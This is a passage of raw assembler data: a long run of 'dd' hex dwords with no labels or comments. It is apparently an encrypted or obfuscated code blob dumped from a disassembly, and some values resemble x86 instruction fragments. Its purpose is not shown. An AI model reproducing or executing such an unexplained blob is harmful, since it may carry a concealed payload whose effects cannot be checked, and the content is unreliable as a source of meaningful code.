		dd 0FC8F53FAh, 367FF232h, 770E3EE8h, 18434E2h, 3972E3E8h
		dd 0A011E564h, 0EB2B7815h, 0FD2D2E18h, 0F92BD46Ah, 0FD30B75Eh
		dd 0C0D9C364h, 33Fh, 7C5EB500h,	0C36AFB2Ch, 0D2790C3Ch
		dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h
		dd 0AB14C7Ah, 11B85783h, 20EC6867h, 1C890000h, 81E38924h
		dd 4C3h, 4EB8300h, 5C241C87h, 758368h, 24148900h, 2B0668h
		dd 242C8900h, 27386850h, 5582BECh, 5DF7BC7h, 9E434E25h
		dd 0A8B95146h, 0F76AE44Bh, 0D9F749D9h, 5430F181h, 0C831108Ch
		dd 20780559h, 0C2898B2Ch, 4EC8358h, 83242489h, 5D042404h
		dd 24348152h, 6FEE7731h, 5108458Fh, 8B9h, 81E90100h, 0EE773131h
		dd 2C8B596Fh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 2434FF5Ch, 4C4835Ah,	0F939FEE9h, 0E4163AFFh,	0EEB8ABD8h
		dd 3060E42h, 12E0FFC5h,	773F8257h, 962FDB58h, 2D79D1A8h
		dd 0D9777616h, 49413A79h, 0C561936Dh, 9D36C5B1h, 0F16DFBF5h
		dd 3221B401h, 56129A5Eh, 0B4711D9h, 0A45AA370h,	0E44CD9DEh
		dd 4670EF41h, 636CF223h, 7A768728h, 146424F8h, 3D265D73h
		dd 0E564ABC8h, 5219F35h, 0D7571BCDh, 0FC7F15FFh, 5250BFA2h
		dd 728ACFFh, 8D3C1DE8h,	0E44BF8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0EC84973Ch
		dd 0D98D89B3h, 6606071Ah, 0F777F781h, 101D85C7h, 58140607h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 47C031C3h, 0BFEA8149h, 5002FF47h,	0A7B86660h
		dd 0B1C7BA96h, 5A611F81h, 0EE1E92BBh, 585C71Fh,	60733h
		dd 51000000h, 23A5858Bh, 8B5B0607h, 72F999Dh, 31B5FF06h
		dd 8B06072Dh, 72D2585h,	5995FF06h, 6A060718h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 9234C355h, 0DF91E776h, 6A693A27h, 6995FF00h,	8B06070Dh
		dd 60AEBC0h, 11FD0733h,	0A93F90Bh, 4604EB9Fh, 0E9063C3Dh
		dd 53Dh, 0EE832253h, 0E77C1B47h, 0E2771240h, 0DC710C3Bh
		dd 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h,	3161089Dh
		dd 0C6340196h, 95AE67D8h, 0C99BB243h, 0D369FC2Ch, 3B059B50h
		dd 7F1EFBDh, 0AC3467EEh, 0A35E4DBEh, 36C59849h,	36CB6C09h
		dd 32C85F8Fh, 25BB5689h, 0A35EC637h, 543E1149h,	2984B43Bh
		dd 0F3CFEE8h, 0CD36CF76h, 0DD7E9E14h, 0D76E9E47h, 97811C48h
		dd 2CCBF77Eh, 27BAED96h, 719D243Dh, 7AA82FD6h, 0C09138DFh
		dd 57EAB676h, 982F5FC9h, 972A5C03h, 7DAB5402h, 1B8EFFEDh
		dd 6D949A3h, 0D0F0FC65h, 1C4FF470h, 64FF3132h, 0A40936BDh
		dd 879709B7h, 670EAF31h, 6D14ADE0h, 751CB9E6h, 26101EB1h
		dd 47BA5BFAh, 0D40630FEh, 0E4852053h, 0DD78A84Fh, 4DFC6A36h
		dd 0DEE449A3h, 86700335h, 0FADB1D2Bh, 0E019AF63h, 67h
		dd 69FC2C44h, 0F28BF6C2h, 9FCB49A3h, 0A6D25900h, 99C6007h
		dd 0E14FF3Fh, 0F1FF705Eh, 774A49A3h, 0E2E4328Dh, 19AEBFF3h
		dd 1E9h, 2C4D00h
		dd 0B37BE65h, 0FD2DD66Ch, 402AC36Ah, 0D871A027h, 842D6D31h
		dd 4154BD58h, 8457B187h, 0F4429D87h, 0EA7F1E4Ah, 0FAC1343h
		dd 77B86F46h, 76ECAA9Eh, 0CF23670Dh, 2C27992Eh,	29D268F9h
		dd 1EB75EF9h, 0E48D1B34h, 0DF781FB2h, 38C8F4F5h, 0A3F2D94Ah
		dd 0B0512449h, 919F5809h, 4CE174A7h, 0C4F475A5h, 0D3038A31h
		dd 53F48D34h, 56840BB2h, 937614BBh, 0BEA24385h,	725819AEh
		dd 0BC000000h, 4C7AF92Ch, 0D0710AB1h, 0C35E913Ah, 826C0534h
		dd 0FF32DB69h, 3C26BF66h, 0CB720D3Bh, 0EF1EC707h, 0AD16AF56h
		dd 0EDB0854Eh, 0D02B1572h, 0CA5D846h, 49DD077h,	19A7D65Dh
		dd 0A3E2BA2Bh, 37CEFE49h, 943BDCAFh, 0C30513F6h, 19AECE22h
		dd 3AD8h, 0F92C3C00h, 8AF4E7Ah,	8F38CE6Fh, 831CC362h, 452FC2F4h
		dd 0E073A52Ch, 808EC939h, 3DD26396h, 77002CCBh,	680FB047h
		dd 0A3F22E9Ch, 73BD1649h, 0AEC0686Dh, 17219h, 2CD60000h
		dd 0B24575FEh, 2AD1720Bh, 0B3E673A3h, 6FDA8122h, 0AA3D079h
		dd 85E0CA63h, 0C45F8DBBh, 1EDE662Fh, 62FC9B5Ch,	0D3690A49h
		dd 0A24E6BE5h, 18C87847h, 9C1EB92Ah, 5D310443h,	439C1DECh
		dd 91E8DD56h, 75FD5715h, 0EBBEB8A2h, 0DD0DB644h, 0ED942D5Ch
		dd 0C8C9B354h, 0C168FD98h, 0C14FF691h, 3264EB18h, 0BE5FF89Fh
		dd 4E947E17h, 439CC6E3h, 0BECF523Ah, 32CBFAAAh,	0BF89F28Bh
		dd 6563C74Ch, 99495E3h,	15237E68h, 0C65CFB2Bh, 705AED1Dh
		dd 0F392C269h, 0EB50DA5Dh, 7F40CFF8h, 0C5F57C95h, 0D4048B32h
		dd 41ED5E4Ch, 6538439Ch, 67961DC4h, 0BD7627CEh,	41FAB373h
		dd 7E1949F7h, 6FEBEAE9h, 40F11FB6h, 55000001h, 0F48A820Ah
		dd 0A2FA5806h, 6D5B2347h, 439CE8FCh, 2CD37447h,	4DE275A5h
		dd 0C4F176A6h, 48E98229h, 83EA1AA1h, 0DBDAFE6Ch, 92C453C9h
		dd 1EBF58FFh, 30DC677h,	3464E515h, 374DBEACh, 0C598439Ch
		dd 0EFEE8324h, 1FB67AE6h, 64F4h, 830A5800h, 0A049F98Fh
		dd 0A4EAD46Dh, 49A3F283h, 11827020h, 5C49A3F1h,	0D2A59F89h
		dd 0F0EE5F2Bh, 411249A3h, 0ACA027F7h, 77319316h, 7565BD15h
		dd 23D3838Bh, 0A3D3C435h, 0A63C0F49h, 0A3D347B8h, 0D5BF9249h
		dd 0A3D36E8Fh, 0C1880B49h, 7F4EC94Ah, 0C99C9680h, 24958333h
		dd 6F49A302h, 0AABB29Ch, 8Fh, 8A820A80h, 0E55644F4h, 4F49A3F1h
		dd 7F65D701h, 0CE8F17B8h, 7A6405A0h, 41128472h,	8A5D47A2h
		dd 0E55644F4h, 30439C40h, 8DD1DD95h, 13B4038Ah,	59891029h
		dd 3FE04FF6h, 6E0FFFC7h, 630232D9h, 93AB2EBCh, 0AC42B3ABh
		dd 843C826Ch, 2B439CCDh, 0C8F826F0h, 0CE75103Fh, 36FF9435h
		dd 3220B6AEh, 41930895h, 3FC66D40h, 66D1780Fh, 7B03131Dh
		dd 25CC6795h, 6755EB8Ch, 3B84C3CAh, 0F68FBE67h,	0A93F120Ch
		dd 4D37D200h, 0C0EF9846h, 0A6F3B25h, 6F48A82h, 479A2E69h
		dd 0C9A4114h, 0ACFD6E5Ch, 75484395h, 0BB5A8A8Bh, 0B84F7F26h
		dd 0D6974511h, 8B1E43C7h, 0C46393BDh, 0BD58882Fh, 0C5608F16h
		dd 0DC6AB31Eh, 0EA34272h, 0F9A03767h, 0C78h, 802FB200h
		dd 0E565E61Dh, 5EFBC7B1h, 6AFB2C7Ch, 790C3CC3h,	7E194BD2h
		dd 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h,	0B14C7A01h
		dd 0B857830Ah, 89566711h, 16BD55E6h, 8115DD2Bh,	0B05AC4EDh
		dd 4EED8159h, 1BC2CD0h,	0EE835DEEh, 24348704h, 0E089505Ch
		dd 405h, 42D00h, 4870000h, 1C895C24h, 0E0895024h, 405h
		dd 42D00h, 4870000h, 14895C24h,	0D6BA5224h, 0BB118818h
		dd 0F4862C03h, 148BD301h, 4C48124h, 81000000h, 4ECh, 24248900h
		dd 4240481h, 5A000000h,	471568h, 242C8900h, 6A89DD89h
		dd 148B5D08h, 0E0895024h, 405h,	40500h,	4870000h, 34FF5C24h
		dd 0C4815B24h, 4, 0F93372E9h, 239685FFh, 4973B8EDh, 0C503060Eh
		dd 0FB51E0FFh, 0E8227AEh, 68171AE4h, 736D1D29h,	9693D84h
		dd 0D10518B2h, 8BA33BEDh, 0DA981185h, 9085A42h,	1E4F7005h
		dd 0FA3C5EE3h, 3D50652Ah, 466F7E45h, 3F192955h,	34D0204Ah
		dd 0FC554246h, 0ABB32E1Dh, 20523738h, 0AB445EADh, 23A62E38h
		dd 8DE65EB1h, 240F4FC1h, 0B4B276FAh, 4D426C52h,	2C930AB6h
		dd 37253316h, 4EB4FDAh,	6FC0990Ch, 58EE9h, 0CC699A00h
		dd 0C9649037h, 0C45F8D34h, 0C059882Fh, 0C051842Bh, 0BD78902Bh
		dd 0BB62F78Ah, 0B35AEF8Eh, 0AA51E681h, 7946DB7Ah, 0A8AC1D0Bh
		dd 0E0F74395h, 0E4A2250Eh, 6CE264C7h, 0E788194Ch, 71CCFCFDh
		dd 79EC818Ah, 5900A1FDh, 71069FD2h, 54FB9ACAh, 630A9DCDh
		dd 0F827B0DCh, 0FCA3426Fh, 821BC263h, 0E3763AE1h, 93BE455h
		dd 79EAD86Eh, 0C449A37Bh, 0D60607F1h, 0D103AA3Fh, 0C8FAA136h
		dd 0D2FF862Dh, 0D87F1245h, 8CF79E3Fh, 194BF543h, 4665E87Eh
		dd 45F10854h, 89303721h, 4B17BE59h, 49A333DDh, 1CA26CC5h
		dd 19AF7EB9h, 8E23h, 0FC2C8700h, 0F2158674h, 265949A3h
		dd 0C34BE48Bh, 1AA84FF0h, 0F20B7C6Ah, 0BB5649A3h, 0F0866D20h
		dd 9D872817h, 0A3A4EC57h, 66FF2C49h, 6D0838BFh,	0D1B56C6h
		dd 9D202611h, 95317631h, 78D3BDBEh, 66AD28AEh, 12F19AFh
		dd 93000000h, 0B5507C25h, 8A8B750Eh, 0D20F75Eh,	7BF3D386h
		dd 0FCA533DAh, 0F79037CAh, 45E00C0Dh, 0FC7CFFAFh, 76915C8Eh
		dd 3D44519h, 4C1F49A3h,	93C24962h, 0FC8F53FAh, 4FD80432h
		dd 4AE38A1Dh, 3D6D14A9h, 2CA315AAh, 791FA0F9h, 0D039D401h
		dd 882942F9h, 8F2E5AE1h, 882150F9h, 455E48E1h, 0E34DDB94h
		dd 0D98015B0h, 7B6919A9h, 49A3BA0Ah, 3DAE8255h,	8849A3BAh
		dd 0DF6D14B5h, 0BAD0412Fh, 481B49A3h, 44EB86B9h, 92C0C1ABh
		dd 0C3B161F7h, 49A3BA52h, 4634CA9Dh, 49A3BAD5h,	4A634D20h
		dd 797FC9ACh, 19AEF66Ch, 8F8Eh,	0F92CF200h, 8AF4E7Ah, 0A027CE6Fh
		dd 9841D772h, 0CAE3CD68h, 7BA57306h, 6A18AD48h,	140292C1h
		dd 49A3F2A3h, 907A1BEEh, 22C95C8Fh, 3BD16C9Bh, 0F22C9D8Bh
		dd 0A47749A3h, 7303A1BAh, 7B491BF0h, 13FDA751h,	7D686EB8h
		dd 4B19AF5Ah, 31D875A2h, 37E68FD0h, 0AF50AE26h,	50D1C5h
		dd 50F90000h, 2FA08E1Eh, 7A49A35Bh, 0C65F06A7h,	0F92C10DCh
		dd 0DAE477Ah, 0EC55D866h, 700938EAh, 31A0E507h,	93144647h
		dd 7C23C463h, 0D947D10Ch, 4760BA6h, 0BE65002Ch,	0A3F284F2h
		dd 5136C49h, 0A23D6B14h, 1F7862FBh, 19AEBFB6h, 124h, 0FE2C8800h
		dd 535BC63h, 16BD5884h,	27BEEE7Dh, 9F46E780h, 0F35DEB34h
		dd 0CC952AC5h, 962F5E44h, 1FB556EFh, 0C2AC4976h, 0B15A0ABAh
		dd 0A415E984h, 0EF49A3F2h, 8CCCB31Ch, 471F073Ah, 759D175Dh
		dd 0E5B847A2h, 0F087B73Eh, 0F184B45Bh, 45137E4Ah, 2F6A439Ch
		dd 700737E1h, 830434DBh, 79ACC55h, 971EC566h, 7829D067h
		dd 97C771BFh, 696C6B00h, 731FB66Dh, 16Bh, 8A820AD7h, 689B44F4h
		dd 0EF9DE3CDh, 0BA47A2F9h, 89B940E7h, 82B259EEh, 85B53CE3h
		dd 0BDD95CF2h, 0FBAB2D2Ch, 1FD0E9D3h, 49E410B9h, 53A045Fh
		dd 0E37EAC55h, 9C7E9E0Fh, 0FC28E943h, 8021BA61h, 0D2659596h
		dd 34973E3Dh, 0AE311FB6h, 0F6079EA7h, 42362066h, 60h, 0C7830AA6h
		dd 0ECCF083Fh, 23B95A7Bh, 0A2FE1435h, 0D808B149h, 8659533Dh
		dd 7CA851DFh, 40B1F7E1h, 6449A2FDh, 0CDD863E6h,	0EA912C58h
		dd 7D76E851h, 43E47DB0h, 0FB4EBFADh, 0C69949A2h, 67B781DCh
		dd 6856ECE0h, 49A2FB47h
		dd 0DC8A1FF2h, 0FACD3E2Ch, 571849A2h, 52EB9225h, 0B4CCC7B1h
		dd 42000000h, 16877525h, 6149A3F2h, 0F981A48Eh,	0B7D6B01h
		dd 4847A2EEh, 0EE39AA98h, 0B184439Ch, 1705CDC7h, 439CEEA6h
		dd 0D67D1EF1h, 0F3881F4Fh, 0D66F9C45h, 0DE6BCE2Fh, 9860B60Bh
		dd 9F3A68F7h, 0F184B4B5h, 17C67E4Ah, 2A56439Ch,	2E5DE48Bh
		dd 7445EC93h, 0AF26AAAh, 6EEBD887h, 3E28EF00h, 3BE455E3h
		dd 83846E09h, 561FB453h, 2DBBE8CEh, 9CACCE3Fh, 0A5461943h
		dd 0AD4EE716h, 0F2432917h, 0AB7E4192h, 0BA4D7D04h, 2B2A813h
		dd 8E62A314h, 311BEE3Dh, 34BC48D6h, 32BC214Eh, 754FB244h
		dd 1C4FDE7Fh, 0A849E289h, 0A03B6912h, 0DAC0AEB6h, 153B84ABh
		dd 0A3BAD42h, 6F48A82h,	479A3820h, 3EAF9D4Dh, 894395A8h
		dd 0AD2CCB6h, 95A8AB1Ch, 0D75BF643h, 13B88FD1h,	7D24C566h
		dd 931446EFh, 3C26C766h, 0D76C0B3Bh, 0B5508029h, 8A8B750Eh
		dd 67D8C65Ah, 0A44395E9h, 95E945B6h, 35BD9043h,	4E1AC162h
		dd 2BCBB120h, 150A14A7h, 0B2D6B92h, 0C3AD1D61h,	5DF392C2h
		dd 3ED88B4h, 922555FCh,	9C3564EBh, 95305D06h, 0D80B92ABh
		dd 0E30F963Dh, 75049D44h, 4206AD48h, 32A561AFh,	0C1F15FE9h
		dd 0BAEA9126h, 3F3741Bh, 69000000h, 0FB2C7C5Eh,	0C3CC36Ah
		dd 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh
		dd 4C7A01A8h, 57830AB1h, 506711B8h, 405E089h, 83000000h
		dd 43304E8h, 24043124h,	5C240433h, 2C9F68h, 24348900h
		dd 699A68h, 24048900h, 720DFEBEh, 0D7B95169h, 814C4E48h
		dd 0F34FE3E9h, 0C1D9F730h, 0E98108E1h, 973F9A91h, 8159CE09h
		dd 334F6DE6h, 0C1DEF752h, 0F68104EEh, 0DF281BBh, 24048B54h
		dd 4C481h, 0EC810000h, 4, 8F243489h, 48B0840h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 24348B5Ch, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 0F92D72E9h, 91D055FFh, 0CE905D72h
		dd 41D2F0BBh, 0B8E442BDh, 60E4F7Ch, 0E0FFC503h,	7C6345Fh
		dd 6156294h, 30C66712h,	1A0D88A7h, 4B08EA24h, 77A1B491h
		dd 1B3327Eh, 4D231AE9h,	7FFC96C2h, 50DD8D8Dh, 0BD8B060Eh
		dd 6072CFDh, 1AD98D89h,	58BE0607h, 0C7542F71h, 7101D85h
		dd 5AD006h, 6810F00h, 81000000h, 8EE525D2h, 0FD858B78h
		dd 0C7060721h, 7330585h, 6, 0B5FFF800h,	6071171h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D6C35343h, 0AB0AD733h
		dd 1212A11Ah, 0BD8BF565h, 6070C85h, 185995FFh, 0EE90607h
		dd 0BB000000h, 24E06C55h, 0A7EFC728h, 0D514127Bh, 0FF006A50h
		dd 70D6995h, 0EBC08B06h, 22069A39h, 0AD66B2ABh,	1795F45Bh
		dd 0B222656h, 0FBE2D070h, 0A20D7DFDh, 3B5748EFh, 8285E7DAh
		dd 0D95CA43h, 29243FCAh, 0C2C5EC76h, 7A79B36Ah,	0C40D1722h
		dd 5571F845h, 4EB71DAh,	4DAFBC92h, 62AE9h, 40D50600h, 3DD804ABh
		dd 38D301A8h, 34CDFCA3h, 2CC5F89Fh, 29E4FC97h, 1FC65BF6h
		dd 17BE53F2h, 16BD52E5h, 0EDBA4FE6h, 0A120917Fh, 546B4395h
		dd 37A89646h, 824395A1h, 2CF9C5AFh, 158674FCh, 6049A3F2h
		dd 0BE45EC8Dh, 2F5C058Bh, 0F251C296h, 639549A3h, 89029D0h
		dd 58FF9435h, 5FE68D28h, 0F077AA2Fh, 0E47D24BDh, 74FBA243h
		dd 4206AD48h, 0B061AFh,	0A3F2A112h, 8A19EC49h, 0D3D4BE57h
		dd 0C16F04A3h, 0F2B22311h, 0C9F649A3h, 0E7D1A42Ch, 133B4E6h
		dd 8526BF66h, 7C1749F0h, 964563E6h, 0BF954F11h,	0AB2EBCD5h
		dd 0DC0C3014h, 0DD1BE049h, 0F65B1A83h, 1A87340Bh, 63022F30h
		dd 5FF224CDh, 0A8F15C75h, 1B7EB09Eh, 6C7A89Fh, 1AAF5062h
		dd 0EA44373h, 16FF705Eh, 824A49A3h, 0A3172394h,	0FA9B6E49h
		dd 0C069F710h, 0BA53FA93h, 171C8AD0h, 0AB0449A3h, 9B7A5B9Dh
		dd 726019AFh, 0C4000000h, 0C269FC2Ch, 0A3F28BF6h, 0B9696F49h
		dd 0A3F25ACBh, 0EFDDA549h, 49A3F27Eh, 6B55F6C9h, 61110610h
		dd 4AF18CB8h, 0F26CDDB1h, 0E4B749A3h, 0F1EF604Eh, 673A49A3h
		dd 0BFB1247Dh, 12B19AEh, 8F000000h, 0BE65002Ch,	4E7E0B37h
		dd 0D67710B7h, 0E079A82Fh, 54E27539h, 8A1FBEEAh, 0CD3E2CDCh
		dd 1849A3F2h, 2A5A5B45h, 9848F68Bh, 0A3F239AAh,	0C7B18449h
		dd 7AF92CFBh, 196EEA4Bh, 9F2B6FDAh, 1DBE57FEh, 8465E876h
		dd 3CE746D4h, 0CEDB4C3Ah, 532649A3h, 9BC7C8B2h,	3EA455FCh
		dd 3179B5BBh, 59434C1Bh, 0D30630FEh, 0D606AD42h, 0BF9A93Fh
		dd 49A3C19Ah, 0F2812E5h, 0FAAD881h, 0E4E5CF68h,	0DC851BB6h
		dd 0B70850A9h, 14096C70h, 0D2708973h, 6DF021EFh, 6F5DF528h
		dd 49A363FEh, 0F00D7649h, 17705A28h, 19AF57CEh,	0B22Ch
		dd 7EAB5400h, 0B59F38DFh, 68F92CE9h, 60FB29D2h,	1D3620B9h
		dd 26CD6896h, 0D741CF62h, 0BD2E1CA4h, 849A3F2h,	58FF9435h
		dd 5EE58C25h, 68EF962Fh, 71F89F3Ah, 92FDA43Fh, 993FFF49h
		dd 7F6668B6h, 5D19AEBEh, 98h, 19ACDC85h, 0F92C632Fh, 8333C168h
		dd 0F274E5D3h, 0ECBF49A3h, 0A3F2A718h, 131F249h, 245CC566h
		dd 4DFDA432h, 0F82A2B15h, 0FA8DBF68h, 75E6BA53h, 0C049A33Bh
		dd 0CBDB84EDh, 5D78316Bh, 0BDA515BCh, 0FE6F5D0Dh, 4949A370h
		dd 7131A276h, 0A97C49A3h, 65DA64BFh, 7156C7B5h,	0CEA149A3h
		dd 15B0E3E4h, 6E70FC7Fh, 0F24B42F0h, 258F0108h,	0A60DA2A2h
		dd 4D7D51A3h, 0D97A13BAh, 23C2EEEFh, 2EB5E48Dh,	0DAC46500h
		dd 2F87F5C1h, 166F49A3h, 830FC608h, 1CD19AFh, 31000000h
		dd 0BC63FE2Ch, 0CB720535h, 1F091760h, 13C156F1h, 22A43A90h
		dd 43AC9764h, 0EFDFBD77h, 2A4D3750h, 0F590BCA2h, 56D0BE54h
		dd 7147A287h, 0C125CD6h, 0FA9BAA73h, 99CCC53h, 0EA1DC674h
		dd 3C6C6D57h, 386A13A9h, 2249BAA8h, 0C194439Ch,	0C5F27920h
		dd 849D8728h, 9C224DB8h, 0C45F8D43h, 0D263961Dh, 0CF761143h
		dd 1A1A245Fh, 6FD967A2h, 6C13A83Fh, 7B02A93Ch, 6D16AC4Bh
		dd 0F38EBC3Dh, 7C12AB52h, 9C221D8Eh, 0AB956843h, 0CB7BE192h
		dd 0B259F422h, 22D44519h, 841F439Ch, 98F7B997h,	4B35D6C8h
		dd 0C8F826F0h, 3C99982Dh, 9E1FB5E2h, 158h, 8A820A02h, 0FA5806F4h
		dd 5B2347A2h, 9CE8FC6Dh, 0D3744743h, 0F475A52Ch, 0EF882FC2h
		dd 0E8FA6B59h, 7245439Ch, 65953CD1h, 0F49D2BD2h, 41422CC5h
		dd 5DE07611h, 5E7663D4h, 5F8B1A8Bh, 968019C0h, 513CC7Dh
		dd 0B64CEB1Bh, 0F8A71806h, 1FF2439Bh, 0A62F2E35h, 341FB6B9h
		dd 40h,	8F830A98h, 0EA5B49F9h, 3549A3F1h, 82707862h, 49A3F261h
		dd 7D184B0Ch, 0F86935DCh, 1C49A3F0h, 0AA31FD4Bh, 0ED7020B6h
		dd 959EAFBCh, 0C56093D5h, 0D3F43A24h, 7E49A3E3h, 0BD7516ABh
		dd 0EB000000h, 0F48A820Ah, 47D25F71h, 40CFE487h, 37D07712h
		dd 0E557454Dh, 3047A294h, 2917C75Dh, 439C94B8h,	2D463003h
		dd 49DF76A6h, 943AAB99h, 0B285439Ch, 6F59F423h,	1C0ABA68h
		dd 439C94ABh, 720535F6h, 0B6E6E7D1h, 0F4AC781Fh, 9B439C93h
		dd 0DE61D660h, 0CF9D3439h, 6C6D577Eh, 4B14A93Ch, 8535CBC3h
		dd 0FC76E7D5h, 0EEC1439Bh, 4B64BE04h, 0AC7F4192h, 0C94E7E05h
		dd 0BE57FE99h, 0BD64032Fh, 71DC8324h, 860E1E28h, 0B00AF88Eh
		dd 0BD3B83FAh, 0BC4BE614h, 120CF68Fh, 76F9A93Fh, 66DAD276h
		dd 65D6AA24h, 0B0377F9Ah, 3EECF3DDh, 6A10FCBBh,	75A7EEF9h
		dd 0BDAB41E2h, 377F5E4Ch, 0EDAC497h
		dd 0F48A820Ah, 9A41AC06h, 0D306C747h, 61029B42h, 8E7C2CBAh
		dd 4395A11Dh, 0D8069568h, 13FD963Dh, 0AD43E212h, 0A19E0FFDh
		dd 21E94395h, 95A1C233h, 993A0D43h, 0D101A8AFh,	7E018F36h
		dd 3C7F981Fh, 0BA00EA13h, 0E362D4Ah, 0C26CBA4Dh, 0B75EF392h
		dd 0BB49F087h, 5943E212h, 0FA902958h, 9CEB5C4Ah, 6336F7F3h
		dd 0A6D96079h, 0B0DD640Bh, 17AA6E15h, 519A0D09h, 992959C7h
		dd 0F39D3AABh, 11B285F7h, 4AA5D57Ch, 8C7AF01Fh,	0F7F3B11Bh
		dd 292A9366h, 8A7CE554h, 0D46C0AB4h, 0DB5C03A4h, 0Ah, 97405E51h
		dd 912AD164h, 0FB2CDBA7h, 0C3CC36Ah, 194BD279h,	2350D77Eh
		dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
		dd 816711B8h, 4ECh, 243C8900h, 0C781E789h, 4, 8704EF83h
		dd 535C243Ch, 0C381E389h, 4, 8704EB83h,	895C241Ch, 56682434h
		dd 8900006Ch, 0BA522404h, 60E5126h, 24348152h, 1511EB1h
		dd 0B1F6815Eh, 5A01511Eh, 2FDC68h, 24248900h, 4240483h
		dd 8BB5358h, 1000000h, 38F56C3h, 24048B5Bh, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h, 4C4h
		dd 2639E900h, 3C0DFFF9h, 0B8A0FAEEh, 60E56C4h, 0E0FFC503h
		dd 72D9ECEDh, 3CC505E5h, 3C1B3DF5h, 2BE7CB33h, 36FF4EBCh
		dd 3020EA07h, 6C72D23Ch, 42DDC5A8h, 75ECD0E1h, 713F85B9h
		dd 0C654480h, 2108AD14h, 5C8F36C3h, 4BE3C765h, 1CF5125Ah
		dd 0E8D004EBh, 6DE96FF7h, 8C000005h, 8E35CA5Bh,	872EC362h
		dd 8229BE59h, 7E25BA53h, 8A25BA4Bh, 0F184B772h,	0ED88B55Ch
		dd 0E47FB158h, 0DD78A84Fh, 1F0D7B48h, 43959BAEh, 2510E2F9h
		dd 2E8A2AA2h, 4EED0C2h,	8D34D303h, 905D7CFFh, 0A11A793Dh
		dd 5B45E012h, 0F88E275Ah, 699B1C4Fh, 3C432DCEh,	0B5E46595h
		dd 3BDC751Ch, 4ADD0D94h, 55F01CA3h, 0C957EAAEh,	3982F5Fh
		dd 0FB7CAC55h, 0E99031CCh, 0F6973662h, 50D90B0Ch, 54E98A23h
		dd 52E87BADh, 5F43B4A2h, 0BB8E49A3h, 7A2AB8D1h,	0A35F1B8Ch
		dd 992C5F49h, 53543E11h, 75E08726h, 234E22Ch, 333DA6Fh
		dd 83F1BD64h, 6B49A35Fh, 0F590BC65h, 0B166B00Bh, 9940D908h
		dd 18BD1600h, 0C219AF53h, 77h, 4F7C2526h, 9BCBCCB6h, 0F2A81907h
		dd 0C0EC49A3h, 29CA9D25h, 0F24BB682h, 0D62F49A3h, 0C04F8648h
		dd 0F67919AEh, 0EB5ACD1h, 6A5E48ABh, 1,	4C7C25CEh, 0F0C886F1h
		dd 0F596EAEEh, 51DE0A0Bh, 49E28924h, 3A6912A8h,	755FF89Fh
		dd 0EA9D55Ch, 3A2CF78h,	4A790019h, 3E7019AFh, 7963FCA3h
		dd 3F099C60h, 0B54AE511h, 0F8695707h, 4349A391h, 55858670h
		dd 25BB2DC2h, 0CBB5507Ch, 353697CAh, 3A099909h,	3AC16809h
		dd 17C86F0Eh, 0A21301B1h, 0C49A33Fh, 40400820h,	3508905Dh
		dd 0F826F04Bh, 0F0972CC5h, 0F77E25C0h, 0E9872EC9h, 0E47DB059h
		dd 4F919FFAh, 19AEE496h, 490AAD30h, 0DA811446h,	885AD841h
		dd 81FCF0DAh, 24000000h, 9B04F7Bh, 2CBA8670h, 0AE477AF9h
		dd 37CD6E07h, 0AADC5B8Eh, 36D77017h, 7EAC334Ch,	0E5783CE3h
		dd 27BAED5Bh, 82F3E191h, 0CD49A3F2h, 5B0910FAh,	3CE382B2h
		dd 0F24FC0AEh, 0C79A49A3h, 83B3C26h, 103FC66Dh,	0F2219280h
		dd 396549A3h, 0D65EF79Eh, 1DBB6203h, 7EEFDD8Dh,	0C949A3F2h
		dd 67B10CF6h, 0AEBE8461h, 417619h, 2CDA0000h, 29D268F9h
		dd 5E7761FCh, 6B12A5D7h, 0C876C0FBh, 0F567FC95h, 16877525h
		dd 6149A3F2h, 77A3A48Eh, 0F76531D8h, 0DF49A3F1h, 9F36B886h
		dd 2919AEC0h, 0E61A8B79h, 926549A3h, 1B4A8h, 2C180000h
		dd 35BC63FEh, 0F6578405h, 0B3C7B2E7h, 933ADB6Ch, 9E396BFAh
		dd 16BD5EF7h, 0DC0CB5ABh, 3A045F49h, 0AE43DE0Ch, 0F1625000h
		dd 3C49A35Bh, 0D45C7F69h, 0A89646DCh, 49A35C37h, 0BDC5AF82h
		dd 0A27355CFh, 0F69D7047h, 13A83F6Fh, 0F48DBC65h, 3ED9090Ah
		dd 0D1860997h, 0F9DCB56Bh, 7BE62C16h, 0D2439CAFh, 6F9F8997h
		dd 6C9C43D8h, 751CBBEBh, 0FCA53BDCh, 0B9239CCh,	0B6A041DCh
		dd 61E6169Dh, 59F29934h, 739F22B8h, 0F4F5D3B3h,	75263F29h
		dd 94C472BCh, 686D6C01h, 721FB62Eh, 171h, 93A225D6h, 4EAB342h
		dd 7F072A14h, 5503F187h, 2047A27Ch, 0A134B74Dh,	88371192h
		dd 5DE4FDE7h, 81049A2Dh, 4476AB14h, 9C1F2470h, 63208EF7h
		dd 16B42513h, 2CFF439Ch, 0F39AA18Bh, 0F67D24C3h, 0D7882FC6h
		dd 0FD98C871h, 0C06EB813h, 0A1120090h, 0EC439C16h, 35E37819h
		dd 1DC45D8Ch, 8F00EE84h, 0DA439C16h, 11C41D07h,	0B71FB69Ch
		dd 0DA43E20Eh, 3F6E55FAh, 9FDE7F5h, 46h, 0A5D88131h, 0E2C7380Ch
		dd 5112439Ch, 0FCE68722h, 4A7C2530h, 23AACDB7h,	8AAB992Fh
		dd 2749A3F2h, 0CFB94C7Eh, 8F5B02D5h, 49A3F21Eh,	57A77142h
		dd 9D46DCD0h, 0E6EED86Bh, 0A3F2D7F8h, 1AAF8249h, 0B079h
